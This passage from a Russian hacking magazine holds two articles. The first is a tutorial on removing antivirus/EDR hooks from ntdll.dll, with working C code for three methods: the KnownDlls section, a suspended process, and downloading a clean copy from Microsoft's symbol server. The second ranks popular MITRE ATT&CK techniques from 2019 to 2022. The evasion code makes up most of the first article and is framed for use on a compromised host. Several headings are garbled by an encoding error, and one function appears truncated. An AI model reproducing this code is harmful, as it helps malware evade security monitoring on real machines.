DLL можно найти вот в этом разделе реестра:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\
KnownDLLs

Извлечь библиотеку возможно с помощью функции NtOpenSection(),


по неизвестным причинам использование OpenFileMapping() приводит
к ошибке ERROR_BAD_PATHNAME. Прототип у функции следующий.

NTSTATUS NtOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

Обрати внимание на последний параметр — ObjectAttributes. Его нужно


инициализировать с помощью функции InitializeObjectAttributes().

VOID InitializeObjectAttributes(
[out] POBJECT_ATTRIBUTES p,
[in] PUNICODE_STRING n,
[in] ULONG a,
[in] HANDLE r, // NULL
[in, optional] PSECURITY_DESCRIPTOR s // NULL
);

• p — указатель на структуру OBJECT_ATTRIBUTES;


• n — указатель на структуру UNICODE_STRING, которая будет содержать
имя ntdll.dll из KnownDll;
• s — устанавливаем значение в OBJ_CASE_INSENSITIVE.

UNICODE_STRING.Buffer = (PWSTR)L"\KnownDlls\ntdll.dll";
UNICODE_STRING.Length = wcslen(L"\KnownDlls\ntdll.dll") * sizeof(
WCHAR);
UNICODE_STRING.MaximumLength = UniStr.Length + sizeof(WCHAR);

Теперь мы сможем без проблем передать инициализированный объект


в функцию NtOpenSection(), а затем отразить ntdll.dll на адресное прос-
транство текущего процесса через ранее описанный MapViewOfFile().
Предлагаю вновь свести всё до функции, возвращающей адрес, по которому
библиотека спроецирована в память.

#include <winternl.h>
#define NTDLL L"\\KnownDlls\\ntdll.dll"

typedef NTSTATUS (NTAPI* fnNtOpenSection)(


PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);

BOOL MapNtdllFromKnownDlls(OUT PVOID* ppNtdllBuf) {

HANDLE hSection = NULL;


PBYTE pNtdllBuffer = NULL;
NTSTATUS STATUS = NULL;
UNICODE_STRING UniStr = { 0 };
OBJECT_ATTRIBUTES ObjAtr = { 0 };

UniStr.Buffer = (PWSTR)NTDLL;
UniStr.Length = wcslen(NTDLL) * sizeof(WCHAR);
UniStr.MaximumLength = UniStr.Length + sizeof(WCHAR);

InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE


, NULL, NULL);

fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(


GetModuleHandle(L"NTDLL"), "NtOpenSection");

STATUS = pNtOpenSection(&hSection, SECTION_MAP_READ, &ObjAtr);


if (STATUS != 0x00) {
printf("[!] NtOpenSection Failed With Error : 0x%0.8X \n",
STATUS);
goto _EndOfFunc;
}

pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_MAP_READ, NULL


, NULL, NULL);
if (pNtdllBuffer == NULL) {
printf("[!] MapViewOfFile Failed With Error : %d \n",
GetLastError());
goto _EndOfFunc;
}

*ppNtdllBuf = pNtdllBuffer;

_EndOfFunc:
if (hSection)
CloseHandle(hSection);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
}

После получения адреса проверяем, что там действительно находится наша


библиотека.

Проецирование через MapViewOfFile + NtOpenSection

Остается лишь так же грамотно распарсить PE и заменить одну секцию .text


другой. Здесь все проще, чем при чтении с диска. Всегда будет одинаковое
смещение, равное 4096.

BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {

PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();

PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll


;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)


pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;

PVOID pLocalNtdllTxt = NULL,


pRemoteNtdllTxt = NULL;
SIZE_T sNtdllTxtSize = NULL;

PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(


pLocalNtHdrs);

for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i


++) {

// if( strcmp(pSectionHeader[i].Name, ".text") == 0 )


if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.')
{
pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +
pSectionHeader[i].VirtualAddress);
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
pSectionHeader[i].VirtualAddress);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}

if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)


return FALSE;

if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;

DWORD dwOldProtection = NULL;

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n",
GetLastError());
return FALSE;
}

memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n",
GetLastError());
return FALSE;
}

return TRUE;
}

Код буквально скопирован из предыдущей части статьи. Разве что теперь


оффсет всегда один и тот же. Для чистоты эксперимента можем проверить,
что действительно копируется одна секция .text на другую.

Что хранится по адресу pLocalNtdllTxt

Что хранится по адресу pRemoteNtdllTxt

Полный код я выложил на GitHub. И опять же у нашего друга TheD1rkMtr есть


своя реализация этого метода.
Здесь есть одна особенность, о которой важно знать: ты должен исполь-
зовать 64-битную программу на 64-битной системе. Если запускать прог-
рамму для х86 на системе x86-64, то в процессе будет находиться ntdll.dll
для х86, а из KnownDll прилетит DLL для x86-64, что при перезаписи приведет
к крашу.

x86 ntdll в программе для x86

А мы пытаемся подменить на x86-64

ÑÍßÒÈÅ ÕÓÊÀ ×ÅÐÅÇ ÏÐÈÎÑÒÀÍÎÂËÅÍÍÛÉ ÏÐÎÖÅÑÑ

Любой процесс в Windows можно запустить в приостановленном состоянии.


Для этого достаточно передать в функцию CreateProcess() флаг
CREATE_SUSPENDED либо DEBUG_PROCESS. Причем в таком состоянии в про-
цесс будет подгружена только ntdll.dll.

Одна библиотека

Затем, возобновляя основной поток процесса, например через


ResumeThread(), подтягиваем в него оставшиеся библиотеки.

Подключение недостающих библиотек

Ты можешь проверить это самостоятельно с помощью простого кода.

#include <windows.h>
#include <iostream>

int main() {
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

if (!CreateProcess(L"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi)
) {
std::cerr << "CreateProcess failed (" << GetLastError() << ")
.\n";
return -1;
}

std::cout << "The process is created in suspended state.\n";


getchar();

if (ResumeThread(pi.hThread) == -1) {
std::cerr << "ResumeThread failed (" << GetLastError() << ").
\n";
return -1;
}

getchar();
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

return 0;
}

В библиотеке ntdll.dll, которая находится в приостановленном процессе,


могут отсутствовать хуки по той причине, что оставшиеся DLL, в том числе
антивирусные, банально не подгрузились. Конечно, такое поведение встре-
чается все реже и реже, но о нем не стоит забывать совсем.
Поэтому остается лишь получить базовый адрес загрузки этой ntdll.dll,
достать его, а затем скопировать секцию .text на ntdll.dll своего процесса.
Единственная загвоздка — для копирования секции .text требуется знать ее
размер. Достать, конечно же, можно и через парсинг PE. Предлагаю свести
всё до отдельной функции, которой нужно передать базовый адрес биб-
лиотеки, а она вернет ее размер.

SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule) {

PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;


if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule +


pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;

return pImgNtHdrs->OptionalHeader.SizeOfImage;
}

Остается всего ничего — прочитать память процесса, который мы запустили


в приостановленном состоянии. Опять же реализуем отдельную функцию,
которая вернет адрес ntdll.dll.

BOOL ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT


PVOID* ppNtdllBuf) {

CHAR cWinPath[MAX_PATH / 2] = { 0 };
CHAR cProcessPath[MAX_PATH] = { 0 };

PVOID pNtdllModule = FetchLocalNtdllBaseAddress();


PBYTE pNtdllBuffer = NULL;
SIZE_T sNtdllSize = NULL,
sNumberOfBytesRead = NULL;

STARTUPINFOA Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };

RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

Si.cb = sizeof(STARTUPINFO);

if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
printf("[!] GetWindowsDirectoryA Failed With Error : %d \n",
GetLastError());
goto _EndOfFunc;
}

sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\\System32\\%s",


cWinPath, lpProcessName);

if (!CreateProcessA(
NULL,
cProcessPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS,
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n",
GetLastError());
goto _EndOfFunc;
}

sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
if (!sNtdllSize)
goto _EndOfFunc;
pNtdllBuffer = (PBYTE)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, sNtdllSize);
if (!pNtdllBuffer)
goto _EndOfFunc;

if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuffer,


sNtdllSize, &sNumberOfBytesRead) || sNumberOfBytesRead != sNtdllSize)
{
printf("[!] ReadProcessMemory Failed with Error : %d \n",
GetLastError());
printf("[i] Read %d of %d Bytes \n", sNumberOfBytesRead,
sNtdllSize);
goto _EndOfFunc;
}

*ppNtdllBuf = pNtdllBuffer;

if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi


.hProcess, 0)) {
// Дополнительно здесь можно дернуть TerminateProcess()
}

_EndOfFunc:
if (Pi.hProcess)
CloseHandle(Pi.hProcess);
if (Pi.hThread)
CloseHandle(Pi.hThread);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;

Оффсет в таком случае будет стандартный — 4096.

Проверка корректности чтения

Как всегда, на GitHub можешь посмотреть исходники моей реализации и ре-


ализации TheD1rkMtr.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ПОЗНАЕМ АНХУКИНГ NTDLL.DLL

ÑÍßÒÈÅ ÕÓÊÀ ×ÅÐÅÇ ÏÎÄÃÐÓÇÊÓ NTDLL.DLL Ñ ÓÄÀËÅÍÍÎÃÎ ÂÅÁ-


ÑÅÐÂÅÐÀ

Думаю, это самый интересный способ. Он основан на том, что есть прек-
расный сайт winbindex.m417z.com, где приведены ссылки на ntdll.dll прак-
тически для любой версии Windows.

Сайт с ntdll.dll

Нам остается лишь разобраться, как генерируются ссылки. С ходу этого сде-
лать не получилось. Предпоследняя часть URL — не более чем непонятный
набор символов.

...dll/283EB25D1ef000/ntdll...
...dll/54219A10209000/ntdll...

Вручную перебрав все ссылки с первой страницы (не на питоне же автомати-


зировать, в самом деле, мы ведь серьезные люди), заметил, что у двух ссылок
есть повторяющиеся в конце шесть символов.

...dll/2451EFDD1af000/ntdll...

Повторяющиеся символы 1

...dll/4028FADC1af000/ntdll...

Повторяющиеся символы 2

Наученный горьким опытом решения стеганографического чуда на CTF, мой


воспаленный мозг понимает, что это зацепка. Копируем эти символы
и начинаем искать. Обнаруживаем интересную кнопку Show, которая поз-
воляет получить больше информации о файле. Наш 1af000 нигде не встре-
чается, но попробуем конвертировать из HEX в десятичное значение. И фор-
туна посмотрела в нашу сторону! Это оказался параметр virtualSize.

Обнаружение смысла второй части

Вычленяем первую часть, также конвертируем ее в десятичное значение


и узнаем, что это timestamp.

Обнаружение смысла первой части

Остается лишь додуматься, как получить эти данные. У ntdll.dll тоже обычный
PE, поэтому стоит глядеть именно в эту сторону. Временную метку получится
извлечь из структуры IMAGE_FILE_HEADER.

Откуда брать timestamp

А размер получаем из элемента SizeOfImage структуры


IMAGE_OPTIONAL_HEADER.

Откуда брать размер

Есть еще SizeOfCode, но это размер непосредственно кодовой части. Я


подозреваю, что секции .text, поэтому она нам не подходит. Нужен размер
всего образа файла ntdll.dll.
Поэтому остается лишь запрашивать эту информацию из системы, а затем
генерировать URL определенного вида.

https://msdl.microsoft.com/download/symbols/ntdll.dll/`strconcat(hex(
IMAGE_FILE_HEADER TimeStamp), hex(IMAGE_OPTIONAL_HEADER SizeOfImage))
`/ntdll.dll

После чего, используя WinHTTP, качаем нужную библиотеку и внедряем


в свое адресное пространство ее секцию .text взамен хукнутой. Алгоритм
получения библиотеки с сервера тоже укладывается в одну маленькую фун-
кцию.

#include <algorithm>
#include <string>
#define FIXED_URL L"https://msdl.microsoft.com/download/symbols/
ntdll.dll/"

BOOL ReadNtdllFromServer(OUT PVOID* ppNtdllBuf) {

PBYTE pNtdllModule = (PBYTE)


FetchLocalNtdllBaseAddress();
PVOID pNtdllBuffer = NULL;
SIZE_T sNtdllSize = NULL;
WCHAR szFullUrl [MAX_PATH] = { 0 };

// Получаем параметры хукнутой ntdll.dll


PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;

PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule +


pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;

// Качаем нехукнутую ntdll.dll


wsprintfW(szFullUrl, L"%s%0.8X%0.4X/ntdll.dll", FIXED_URL,
pImgNtHdrs->FileHeader.TimeDateStamp, pImgNtHdrs->OptionalHeader.
SizeOfImage);

if (!GetPayloadFromUrl(szFullUrl, &pNtdllBuffer, &sNtdllSize))


return FALSE;

*ppNtdllBuf = pNtdllBuffer;

return TRUE;
}

Отдельно я вынес функцию GetPayloadFromUrl(), которая принимает URL


для скачивания ntdll.dll, а возвращает указатель на адрес в памяти, где
будет лежать либа размером sNtdllSize.

BOOL GetPayloadFromUrl(IN LPCWSTR szUrl, OUT PVOID* pNtdllBuffer, OUT


PSIZE_T sNtdllSize) {

BOOL bSTATE = TRUE;


HINTERNET hInternet = NULL,
hInternetFile = NULL;
DWORD dwBytesRead = NULL;
SIZE_T sSize = NULL;
PBYTE pBytes = NULL,
pTmpBytes = NULL;

hInternet = InternetOpenW(L"info", NULL, NULL, NULL, NULL);


if (hInternet == NULL) {
printf("[!] InternetOpenW Failed With Error : %d \n",
GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}

hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, NULL,


INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID,
NULL);
if (hInternetFile == NULL) {
printf("[!] InternetOpenUrlW Failed With Error : %d \n",
GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}

pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);


if (pTmpBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}

while (TRUE) {
if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &
dwBytesRead)) {
printf("[!] InternetReadFile Failed With Error : %d \n",
GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}

sSize += dwBytesRead;

if (pBytes == NULL)
pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
else
pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE
| LMEM_ZEROINIT);

if (pBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes,
dwBytesRead);

memset(pTmpBytes, '\0', dwBytesRead);


if (dwBytesRead < 1024) {
break;
}

*pNtdllBuffer = pBytes;
*sNtdllSize = sSize;

_EndOfFunction:
if (hInternet)
InternetCloseHandle(hInternet);
if (hInternetFile)
InternetCloseHandle(hInternetFile);
if (hInternet)
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED,
NULL, 0);
if (pTmpBytes)
LocalFree(pTmpBytes);
return bSTATE;
}

Функция открывает интернет-сессию, после чего читает куски раз-


мером 1024 байта до тех пор, пока не будет считано меньше 1024 байтов.
Если считано меньше 1024 байт, значит, весь файл был успешно передан
и можно закрывать сессию.
Несмотря на то что нехукнутая ntdll.dll будет считываться с веб-сервера,
оффсет секции .text невозможно знать заранее. Он то 1024, то 4096.
Поэтому используем код из раздела с чтением библиотеки из диска — будем
опять проверять начальные байты по оффсету 1024, если совпадут, то
копируем по этому адресу, если нет, то добавляем 3072.

BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {

PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();

PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll


;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)


pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;

PVOID pLocalNtdllTxt = NULL,


pRemoteNtdllTxt = NULL;
SIZE_T sNtdllTxtSize = NULL;

PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(


pLocalNtHdrs);

for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i


++) {

// if( strcmp(pSectionHeader[i].Name, ".text") == 0 )


if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.')
{

pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +
pSectionHeader[i].VirtualAddress);
pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
1024);
sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
break;
}
}
if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)
return FALSE;

if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt + 3072);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
}

DWORD dwOldProtection = NULL;

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {
printf("[!] VirtualProtect [1] Failed With Error : %d \n",
GetLastError());
return FALSE;
}

memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
dwOldProtection, &dwOldProtection)) {
printf("[!] VirtualProtect [2] Failed With Error : %d \n",
GetLastError());
return FALSE;
}

return TRUE;
}

Обрати внимание, что на функции ReadNtdllFromServer() программа может


как бы зависнуть. Не переживай, она работает, качает нужную библиотеку.

Успешное скачивание библиотеки

Этот способ, думаю, самый удобный. Его главный недостаток в том, что тре-
буется доступ в интернет со скомпрометированного хоста.
Полный код реализации для твоих собственных экспериментов я также
прикладываю:
• NtdllFromWEbsite.cpp — подгрузка с winbindex.m417z.com;
• NTDLLReection — подгрузка с иного ресурса, ты должен будешь сам под-
нять веб-сервер.

ÂÛÂÎÄÛ

Помни, что анхукинг — это не более чем один из множества способов обхода
хуков. Причем умные антивирусы умеют восстанавливать хуки, если обна-
руживают, что кто-то их снял. На любое действие найдется противодействие,
но в данном случае это приглашение к новому действию!
ВЗЛОМ

СОСТАВЛЯЕМ РЕЙТИНГ
САМЫХ ПОПУЛЯРНЫХ
ХАКЕРСКИХ АТАК

Техники кибератак совершенствуются год


от года. Если ты интересуешься информа-
ционной безопасностью или трудишься
в этой сфере, важно быть в курсе, каким AK_83
арсеналом пользуются современные tester-ak@yandex.ru

киберпреступники. Сегодня поговорим


о самых популярных в последние годы тех-
никах и средствах хакеров.

Техника кибератак на компьютерные системы определяет, как действуют ата-


кующие, и здесь всегда можно придумать что-нибудь новенькое. В той же
матрице MITRE ATT&CK с 2019 года количество техник из 244 трансфор-
мировалось в 196, но теперь они включают 411 субтехник (по состоянию
на третий квартал 2023 года). То есть общее число техник фактически уве-
личилось вдвое. С другой стороны, ранее проторенные атакующими дорожки
никто не отменял. Их тоже активно используют, какие-то чаще, какие-то чуть
реже. Давай попробуем их отыскать.
Для начала покопаемся в аналитических отчетах, оперирующих TTP,
за последние несколько лет. В качестве наиболее авторитетных репортов мы
будем использовать материалы от Red Canary, Trellix, Picus Labs и других
Брайанов Кребсов известных на рынке ИБ компаний, в том числе российских.
Начнем с 2019 года, для которого, правда, доступен только один сводный
отчет — «Threat detection report. First edition | 2019» от Red Canary. Но с каж-
дым годом авторитетных источников становилось все больше, за 2022 год
имеется с десяток публичных репортов.

ÊÀÊ ÎÏÐÅÄÅËßËÑß ÐÅÉÒÈÍÃ

Первый момент, который потребуется учесть: в большинстве аналитических


отчетов уже используются агрегированные показатели, которые нужно кор-
ректно сопоставлять между собой. Мы подсчитаем занимаемые той или иной
техникой позиции в имеющихся рейтингах. Если места заняты субтехниками,
то в расчете учтем ту технику, с которой она ассоциирована.
Например, техника T1059 Command and Scripting Interpreter за 2022 год
трижды занимала первое место, по одному разу второе, третье и девятое
места. В итоге она возглавила топ 2022 года.
Если тебе интересна техническая сторона вопроса, поясню: массив вход-
ных данных из различных отчетов формировался в ручном режиме (создавал-
ся единый CSV-файл), а уже табличные данные анализировались с исполь-
зованием библиотеки Pandas для Python.

ÄÈÍÀÌÈÊÀ Ñ 2019-ÃÎ ÏÎ 2022 ÃÎÄ ÂÊËÞ×ÈÒÅËÜÍÎ

2019 ãîä
Начать стоит с того, что ключевая проблема здесь не только в ничтожной
выборке из единственного отчета, но и в изменении MITRE ATT&CK за это
время. Дело в том, что, как любой «живой» проект, матрица постоянно
обновляется и с 2019 года сменила не одну версию. В результате мне приш-
лось руками перемапить «старые» техники в «новые», а это в том числе пов-
лияло на сокращение рейтинга с десяти позиций до восьми. Нам интересен
этот топчик в первую очередь как отправная точка для дальнейших иссле-
дований. Итак, самые популярные техники 2019 года:
1. T1059 Command and Scripting Interpreter;
2. T1218 System Binary Proxy Execution;
3. T1090 Proxy;
4. T0865 Spearphishing Attachment;
5. T1036 Masquerading;
6. T1003 OS Credential Dumping;
7. T1547 Boot or Logon Autostart Execution;
8. T1569 System Services.

На что здесь стоит обратить внимание, так это на технику T0865 Spearphishing
Attachment, которая была популярна у крайне активных на тот момент груп-
пировок Carbanak и FIN7, а также в рамках других целевых кампаний, доля
которых, по мнению ряда исследователей, в 2019 году стала превалирующей.
В последующие годы эта техника также будет присутствовать на радарах,
но уже за пределами агрегированных топ-10.

2020 ãîä
На следующий год хит-парад немного изменился:
1. T1055 Process Injection;
2. T1574 Hijack Execution Flow;
3. T1059 Command and Scripting Interpreter;
4. T1053 Scheduled Task/Job;
5. T1562 Impair Defenses;
6. T1134 Access Token Manipulation;
7. T1021 Remote Services;
8. T1003 OS Credential Dumping;
9. T1036 Masquerading;
10. T1083 File and Directory Discovery.

Здесь, как и в 2019 году, пришлось учесть версионность матрицы ATT&CK,


но в меньшем объеме.
Это первый год пандемии коронавируса и, как следствие, роста популяр-
ности удаленной работы. В результате среди лидеров появилась техника
T1021 Remote Services. Из остальных техник интерес представляет T1574
Hijack Execution Flow, которая чаще всего используется в сочетании c тех-
никами T1055 Process Injection и T1053 Scheduled Task/Job, что и подтвержда-
ется нашим рейтингом.

2021 ãîä
Рейтинг 2021 года выглядит следующим образом:
1. T1059 Command and Scripting Interpreter;
2. T1027 Obfuscated Files or Information;
3. T1218 System Binary Proxy Execution;
4. T1055 Process Injection;
5. T1555 Credentials from Password Stores;
6. T1543 Create or Modify System Process;
7. T1083 File and Directory Discovery;
8. T1486 Data Encrypted for Impact;
9. T1053 Scheduled Task/Job;
10. T1547 Boot or Logon Autostart Execution.

Ворвавшаяся в топ техника T1486 Data Encrypted for Impact отражает то


рекордное количество кибератак с использованием программ-шифроваль-
щиков, которое было зафиксировано в 2021 году. Свою роль сыграла
и популяризация схемы «Шифровальщик как услуга» (Ransomware as
a Service, RaaS) на примере следующих вредоносных программ:
• Conti;
• REvil;
• Avaddon.

Из интересного здесь следует отметить технику T1555 Credentials from


Password Stores, использованную в одной из самых нашумевших кибератак
на цепочку поставок SolarWinds.

2022 ãîä
В 2022 году представлен расширенный топ-20, поскольку это самый интерес-
ный для нас год и данных было достаточно для составления развернутого
рейтинга.
1. T1059 Command and Scripting Interpreter;
2. T1082 System Information Discovery;
3. T1036 Masquerading;
4. T1003 OS Credential Dumping;
5. T1071 Application Layer Protocol;
6. T1218 System Binary Proxy Execution;
7. T1083 File and Directory Discovery;
8. T1588 Obtain Capabilities;
9. T1047 Windows Management Instrumentation;
10. T1486 Data Encrypted for Impact;
11. T1190 Exploit Public-Facing Application;
12. T1566 Phishing;
13. T1055 Process Injection;
14. T1021 Remote Services;
15. T1098 Account Manipulation;
16. T1105 Ingress Tool Transfer;
17. T1110 Brute Force;
18. T1547 Boot or Logon Autostart Execution;
19. T1112 Modify Registry;
20. T1505 Server Software Component.

Здесь есть как уже знакомые нам «лица», так и новички. Например, на втором
месте техника T1082 System Information Discovery, которая позволяет ата-
кующему не только грамотно развить кибератаку, но и собрать данные
на будущее, что не может не настораживать.
Отметим технику T1190 Exploit Public-Facing Application, занявшую 11-е
место, но лидирующую на стадии Initial Access в 2022-м.
Теперь можно посмотреть динамику изменений в топ-10 за четыре года
на условной тепловой карте, где более «горячие» техники — это соответству-
ющие лидеры.

Круговая диаграмма для техник из топ-10, встречающихся два и более раз


за четыре года, имеет следующий вид (здесь «Другие» — это техники, встре-
чающиеся только один раз).

ÄÅÒÀËÜÍÅÅ Î ËÈÄÅÐÀÕ

Работающие с матрицей ATT&CK специалисты наверняка хотели бы увидеть


информацию о субтехниках, ведь именно они определяют и контекст ата-
куемой ИТ-инфраструктуры, и предметные векторы атаки. Для этой цели раз-
берем три самые популярные техники за последние годы.

T1059 Command and Scripting Interpreter


Эта техника сохраняла свою позицию в рейтингах из года в год. И по количес-
тву упоминаний в репортах различных исследователей она идет с большим
отрывом. Но при этом техника содержит восемь субтехник, из которых
наибольшую популярность у атакующих снискали две: T1059.001 и T1059.003.
С учетом общего тренда импортозамещения дополнительно приведем
экспертный маппинг с техниками из отечественной Методики оценки угроз
безопасности информации, а точнее, из приложения 11 к ней:
• Т3.1. Автоматический запуск скриптов и исполняемых файлов в системе
с использованием пользовательских или системных учетных данных, в том
числе с использованием методов социальной инженерии;
• Т3.6. Автоматическое создание вредоносных скриптов при помощи дос-
тупного инструментария от имени пользователя в системе с исполь-
зованием его учетных данных;
• Т4.2. Использование штатных средств удаленного доступа и управления
операционной системы.

T1059.001 Command and Scripting Interpreter: PowerShell


Подробно эта субтехника описана на сайте mitre.org. Почему именно
PowerShell?
Во-первых, сегодня PowerShell — это кросс-платформенный инструмент
(да-да, работающий на операционных системах Windows, Linux и macOS). Он
состоит из оболочки командной строки, языка сценариев и среды управления
конфигурацией (PowerShell Desired State Conguration). В ИТ-инфраструк-
турах эту технологию уже используют не только системные администраторы,
но и DevOps-инженеры, разработчики, а также инженеры при интеграции
различных систем между собой. Как следствие, применение PowerShell почти
ни у кого не вызывает вопросов.
Во-вторых, атакующему фактически не нужно загружать и устанавливать
дополнительное программное обеспечение, поскольку PowerShell уже име-
ется по умолчанию на клиентских и серверных операционных системах
семейства Windows начиная с Windows 7 и Windows Server 2008 R2, что
помогает снизить вероятность его обнаружения на ранней стадии кибера-
таки.
Атакующий может, скажем, злоупотреблять запуском PowerShell-коман-
длетов (Cmdlet), причем как в рамках активных действий (тактика Execution,
с которой эта техника ассоциирована), так и на других этапах — сбора данных
о состоянии операционной системы (например, Get-Process, Get-HotFix), заг-
рузки данных из интернета (например, Invoke-WebRequest) и так далее.
Кроме того, существуют наступательные инструменты на базе PowerShell
(например, Empire, PowerSploit).

По этой теме написано достаточно много матери-


алов: в «Хакере», а еще на Robwillis.info и у
Microsoft.

T1059.003 Command and Scripting Interpreter: Windows Command


Shell
Описание этой субтехники также нетрудно найти на сайте MITRE. С Windows
Command Shell (cmd), основной командной строкой в Windows, ситуация ана-
логична PowerShell — это мощный инструмент, доступный по умолчанию.
Командная строка может использоваться для управления практически любым
аспектом операционной системы с различными уровнями разрешений. Плюс
командную строку можно вызывать удаленно. Например, с помощью под-
готовленных атакующим пакетных файлов .bat или .cmd.

T1218 System Binary Proxy Execution


Среди техник в интерпретации ФСТЭК России эта техника ближе всего к сле-
дующей: «Т3.16. Запуск вредоносных программ при помощи легитимных,
подписанных цифровой подписью утилит установки приложений и средств
запуска скриптов (т. н. техника проксирования запуска), а также через средс-
тва запуска кода элементов управления ActiveX, компонентов фильтров
(кодеков) и компонентов библиотек DLL».
Техника содержит 13 субтехник, из которых чаще всего встречаются
